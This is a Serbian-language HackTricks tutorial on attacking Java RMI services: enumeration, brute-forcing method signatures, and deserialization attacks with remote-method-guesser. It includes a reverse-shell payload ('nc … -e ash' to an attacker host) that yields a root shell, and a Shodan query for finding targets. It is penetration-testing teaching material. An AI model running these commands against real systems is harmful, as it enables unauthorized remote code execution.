mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
335 lines
18 KiB
Markdown
335 lines
18 KiB
Markdown
# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
|
Dobijte pristup danas:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## Osnovne informacije
|
|
|
|
_Java Remote Method Invocation_, ili _Java RMI_, je mehanizam objektno orijentisanog _RPC_-a koji omogućava objektu smeštenom u jednoj _Java virtuelnoj mašini_ da poziva metode na objektu smeštenom u drugoj _Java virtuelnoj mašini_. Ovo omogućava programerima da pišu distribuirane aplikacije koristeći objektno orijentisan paradigmu. Kratak uvod u _Java RMI_ sa ofanzivne perspektive možete pronaći u [ovom blackhat govoru](https://youtu.be/t\_aw1mDNhzI?t=202).
|
|
|
|
**Podrazumevani port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
1090/tcp open ssl/java-rmi Java RMI
|
|
9010/tcp open java-rmi Java RMI
|
|
37471/tcp open java-rmi Java RMI
|
|
40259/tcp open ssl/java-rmi Java RMI
|
|
```
|
|
Obično su samo podrazumevane komponente _Java RMI_ (RMI registar i Aktivacioni sistem) vezane za uobičajene portove. Udaljeni objekti koji implementiraju stvarnu _RMI_ aplikaciju obično su vezani za slučajne portove, kao što je prikazano u prethodnom izlazu.
|
|
|
|
_nmap_ ponekad ima problema sa identifikacijom _SSL_ zaštićenih _RMI_ servisa. Ako naiđete na nepoznat ssl servis na uobičajenom _RMI_ portu, trebali biste dalje istražiti.
|
|
|
|
## RMI Komponente
|
|
|
|
Da bismo to pojednostavili, _Java RMI_ omogućava programeru da učini _Java objekat_ dostupnim na mreži. To otvara _TCP_ port na kojem se klijenti mogu povezati i pozivati metode na odgovarajućem objektu. Iako zvuči jednostavno, postoje nekoliko izazova koje _Java RMI_ mora rešiti:
|
|
|
|
1. Da bi se izvršio poziv metode putem _Java RMI_, klijenti moraju znati IP adresu, slušajući port, implementiranu klasu ili interfejs i `ObjID` ciljanog objekta (ObjID je jedinstveni i slučajni identifikator koji se kreira kada se objekat stavi na mrežu. Potreban je jer _Java RMI_ omogućava više objekata da slušaju na istom _TCP_ portu).
|
|
2. Udaljeni klijenti mogu alocirati resurse na serveru pozivanjem metoda na izloženom objektu. _Java virtuelna mašina_ mora pratiti koje od ovih resursa su još uvek u upotrebi, a koje od njih mogu biti prikupljeni smećem.
|
|
|
|
Prvi izazov je rešen pomoću _RMI registra_, koji je zapravo servis za imenovanje _Java RMI_. Sam _RMI registar_ takođe je _RMI servis_, ali implementirani interfejs i `ObjID` su fiksni i poznati svim _RMI_ klijentima. To omogućava _RMI_ klijentima da koriste _RMI registar_ samo znajući odgovarajući _TCP_ port.
|
|
|
|
Kada programeri žele da svoje _Java objekte_ učine dostupnim u mreži, obično ih vezuju za _RMI registar_. Registar čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, slušajući port, implementirana klasa ili interfejs i vrednost `ObjID`) i čini ih dostupnim pod ljudski čitljivim imenom (vezano ime). Klijenti koji žele da koriste _RMI servis_ traže od _RMI registra_ odgovarajuće vezano ime, a registar vraća sve potrebne informacije za povezivanje. Dakle, situacija je praktično ista kao i sa običnom _DNS_ uslugom. Sledeći primer prikazuje mali primer:
|
|
```java
|
|
import java.rmi.registry.Registry;
|
|
import java.rmi.registry.LocateRegistry;
|
|
import lab.example.rmi.interfaces.RemoteService;
|
|
|
|
public class ExampleClient {
|
|
|
|
private static final String remoteHost = "172.17.0.2";
|
|
private static final String boundName = "remote-service";
|
|
|
|
public static void main(String[] args)
|
|
{
|
|
try {
|
|
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
|
|
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
|
|
String response = ref.remoteMethod(); // Call a remote method
|
|
|
|
} catch( Exception e) {
|
|
e.printStackTrace();
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Drugi od navedenih izazova rešava se preko _Distributed Garbage Collector_ (_DGC_). Ovo je još jedna _RMI usluga_ sa poznatom vrednošću `ObjID` i dostupna je na praktično svakom _RMI endpointu_. Kada _RMI klijent_ počne koristiti _RMI uslugu_, šalje informaciju _DGC_-u da je odgovarajući _udaljeni objekat_ u upotrebi. _DGC_ može pratiti broj referenci i može očistiti nekorišćene objekte.
|
|
|
|
Zajedno sa zastarelim _Activation System_-om, ovo su tri podrazumevana komponente _Java RMI_-a:
|
|
|
|
1. _RMI Registry_ (`ObjID = 0`)
|
|
2. _Activation System_ (`ObjID = 1`)
|
|
3. _Distributed Garbage Collector_ (`ObjID = 2`)
|
|
|
|
Podrazumevane komponente _Java RMI_-a su poznati vektori napada već neko vreme i postoje višestruke ranjivosti u zastarelim verzijama _Java_-e. Sa perspektive napadača, ove podrazumevane komponente su interesantne jer implementiraju poznate klase / interfejse i lako je moguće da se sa njima interaguje. Ova situacija je drugačija za prilagođene _RMI usluge_. Da biste pozvali metod na _udaljenom objektu_, morate unapred znati odgovarajući potpis metoda. Bez poznavanja postojećeg potpisa metoda, nema načina za komunikaciju sa _RMI uslugom_.
|
|
|
|
## Enumeracija RMI-a
|
|
|
|
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) je skener ranjivosti _Java RMI_-a koji je sposoban da automatski identifikuje uobičajene _RMI ranjivosti_. Kada identifikujete _RMI_ endpoint, trebali biste ga isprobati:
|
|
```
|
|
$ rmg enum 172.17.0.2 9010
|
|
[+] RMI registry bound names:
|
|
[+]
|
|
[+] - plain-server2
|
|
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
|
|
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
|
|
[+] - legacy-service
|
|
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
|
|
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
|
|
[+] - plain-server
|
|
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
|
|
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
|
[+]
|
|
[+] RMI server codebase enumeration:
|
|
[+]
|
|
[+] - http://iinsecure.dev/well-hidden-development-folder/
|
|
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
|
|
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
|
|
[+]
|
|
[+] RMI server String unmarshalling enumeration:
|
|
[+]
|
|
[+] - Caught ClassNotFoundException during lookup call.
|
|
[+] --> The type java.lang.String is unmarshalled via readObject().
|
|
[+] Configuration Status: Outdated
|
|
[+]
|
|
[+] RMI server useCodebaseOnly enumeration:
|
|
[+]
|
|
[+] - Caught MalformedURLException during lookup call.
|
|
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
|
|
[+] Configuration Status: Non Default
|
|
[+]
|
|
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
|
|
[+]
|
|
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
|
|
[+] Vulnerability Status: Vulnerable
|
|
[+]
|
|
[+] RMI Security Manager enumeration:
|
|
[+]
|
|
[+] - Security Manager rejected access to the class loader.
|
|
[+] --> The server does use a Security Manager.
|
|
[+] Configuration Status: Current Default
|
|
[+]
|
|
[+] RMI server JEP290 enumeration:
|
|
[+]
|
|
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
|
|
[+] Vulnerability Status: Non Vulnerable
|
|
[+]
|
|
[+] RMI registry JEP290 bypass enmeration:
|
|
[+]
|
|
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
|
|
[+] Vulnerability Status: Vulnerable
|
|
[+]
|
|
[+] RMI ActivationSystem enumeration:
|
|
[+]
|
|
[+] - Caught IllegalArgumentException during activate call (activator is present).
|
|
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
|
|
[+] --> Client codebase enabled - Configuration Status: Non Default
|
|
```
|
|
Izlaz akcije enumeracije je detaljnije objašnjen na [stranicama dokumentacije](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) projekta. Ovisno o rezultatu, trebali biste pokušati provjeriti identificirane ranjivosti.
|
|
|
|
Vrijednosti `ObjID` koje prikazuje _remote-method-guesser_ mogu se koristiti za određivanje vremena rada usluge. To može omogućiti identifikaciju drugih ranjivosti:
|
|
```
|
|
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
|
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
|
[+]
|
|
[+] ObjNum: -4004948013687638236
|
|
[+] UID:
|
|
[+] Unique: 1442798173
|
|
[+] Time: 1640761503828 (Dec 29,2021 08:05)
|
|
[+] Count: -32760
|
|
```
|
|
## Bruteforcing metode na daljinskim objektima
|
|
|
|
Čak i kada nisu identifikovane ranjivosti tokom enumeracije, dostupne _RMI_ usluge mogu i dalje izlagati opasne funkcije. Osim toga, iako je komunikacija _RMI_ prema podrazumevanim komponentama zaštićena filterima za deserijalizaciju, kada se radi sa prilagođenim _RMI_ uslugama, takvi filteri obično nisu prisutni. Poznavanje validnih potpisa metoda na _RMI_ uslugama je stoga vredno.
|
|
|
|
Nažalost, _Java RMI_ ne podržava enumeraciju metoda na daljinskim objektima. Međutim, moguće je pokušati sa brutalnom silom metoda koristeći alate poput [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ili [rmiscout](https://github.com/BishopFox/rmiscout):
|
|
```
|
|
$ rmg guess 172.17.0.2 9010
|
|
[+] Reading method candidates from internal wordlist rmg.txt
|
|
[+] 752 methods were successfully parsed.
|
|
[+] Reading method candidates from internal wordlist rmiscout.txt
|
|
[+] 2550 methods were successfully parsed.
|
|
[+]
|
|
[+] Starting Method Guessing on 3281 method signature(s).
|
|
[+]
|
|
[+] MethodGuesser is running:
|
|
[+] --------------------------------
|
|
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
|
|
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
|
|
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
|
|
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
|
|
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
|
|
[+] [6562 / 6562] [#####################################] 100%
|
|
[+] done.
|
|
[+]
|
|
[+] Listing successfully guessed methods:
|
|
[+]
|
|
[+] - plain-server2 == plain-server
|
|
[+] --> String execute(String dummy)
|
|
[+] --> String system(String dummy, String[] dummy2)
|
|
[+] - legacy-service
|
|
[+] --> void logMessage(int dummy1, String dummy2)
|
|
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
|
|
[+] --> String login(java.util.HashMap dummy1)
|
|
```
|
|
Identifikovane metode mogu se pozvati na sledeći način:
|
|
```
|
|
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
|
|
[+] uid=0(root) gid=0(root) groups=0(root)
|
|
```
|
|
Ili možete izvršiti napade deserializacije na sledeći način:
|
|
```
|
|
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
|
|
[+] Creating ysoserial payload... done.
|
|
[+]
|
|
[+] Attempting deserialization attack on RMI endpoint...
|
|
[+]
|
|
[+] Using non primitive argument type java.lang.String on position 0
|
|
[+] Specified method signature is String execute(String dummy)
|
|
[+]
|
|
[+] Caught ClassNotFoundException during deserialization attack.
|
|
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
|
|
[+] Deserialization attack probably worked :)
|
|
|
|
$ nc -vlp 4444
|
|
Ncat: Version 7.92 ( https://nmap.org/ncat )
|
|
Ncat: Listening on :::4444
|
|
Ncat: Listening on 0.0.0.0:4444
|
|
Ncat: Connection from 172.17.0.2.
|
|
Ncat: Connection from 172.17.0.2:45479.
|
|
id
|
|
uid=0(root) gid=0(root) groups=0(root)
|
|
```
|
|
Više informacija može se pronaći u ovim člancima:
|
|
|
|
* [Napadi na Java RMI servise nakon JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
|
|
* [Pogađanje metoda](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
|
|
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
* [rmiscout](https://bishopfox.com/blog/rmiscout)
|
|
|
|
Osim pogađanja, takođe biste trebali pretraživati pretraživače ili _GitHub_ za interfejs ili čak implementaciju naiđenog _RMI_ servisa. Ovdje mogu biti korisni "bound name" i naziv implementirane klase ili interfejsa.
|
|
|
|
## Poznati interfejsi
|
|
|
|
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) označava klase ili interfejse kao `poznate` ako su navedeni u internoj bazi podataka alata za poznate _RMI servise_. U tim slučajevima možete koristiti akciju `known` da biste dobili više informacija o odgovarajućem _RMI servisu_:
|
|
```
|
|
$ rmg enum 172.17.0.2 1090 | head -n 5
|
|
[+] RMI registry bound names:
|
|
[+]
|
|
[+] - jmxrmi
|
|
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
|
|
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
|
|
|
|
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
|
[+] Name:
|
|
[+] JMX Server
|
|
[+]
|
|
[+] Class Name:
|
|
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
|
|
[+] - javax.management.remote.rmi.RMIServer
|
|
[+]
|
|
[+] Description:
|
|
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
|
|
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
|
|
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
|
|
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
|
|
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
|
|
[+]
|
|
[+] Remote Methods:
|
|
[+] - String getVersion()
|
|
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
|
|
[+]
|
|
[+] References:
|
|
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
|
|
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
|
|
[+]
|
|
[+] Vulnerabilities:
|
|
[+]
|
|
[+] -----------------------------------
|
|
[+] Name:
|
|
[+] MLet
|
|
[+]
|
|
[+] Description:
|
|
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
|
|
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
|
|
[+] is therefore most of the time equivalent to remote code execution.
|
|
[+]
|
|
[+] References:
|
|
[+] - https://github.com/qtc-de/beanshooter
|
|
[+]
|
|
[+] -----------------------------------
|
|
[+] Name:
|
|
[+] Deserialization
|
|
[+]
|
|
[+] Description:
|
|
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
|
|
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
|
|
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
|
|
[+] establish a working JMX connection, you can also perform deserialization attacks.
|
|
[+]
|
|
[+] References:
|
|
[+] - https://github.com/qtc-de/beanshooter
|
|
```
|
|
## Shodan
|
|
|
|
* `port:1099 java`
|
|
|
|
## Alati
|
|
|
|
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
* [rmiscout](https://github.com/BishopFox/rmiscout)
|
|
* [BaRMIe](https://github.com/NickstaDB/BaRMIe)
|
|
|
|
## Reference
|
|
* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
|
|
## HackTricks Automatske Komande
|
|
```
|
|
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
|
|
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
|
|
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Enumeration
|
|
Description: Perform basic enumeration of an RMI service
|
|
Command: rmg enum {IP} {PORT}
|
|
```
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
|
Dobijte pristup danas:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|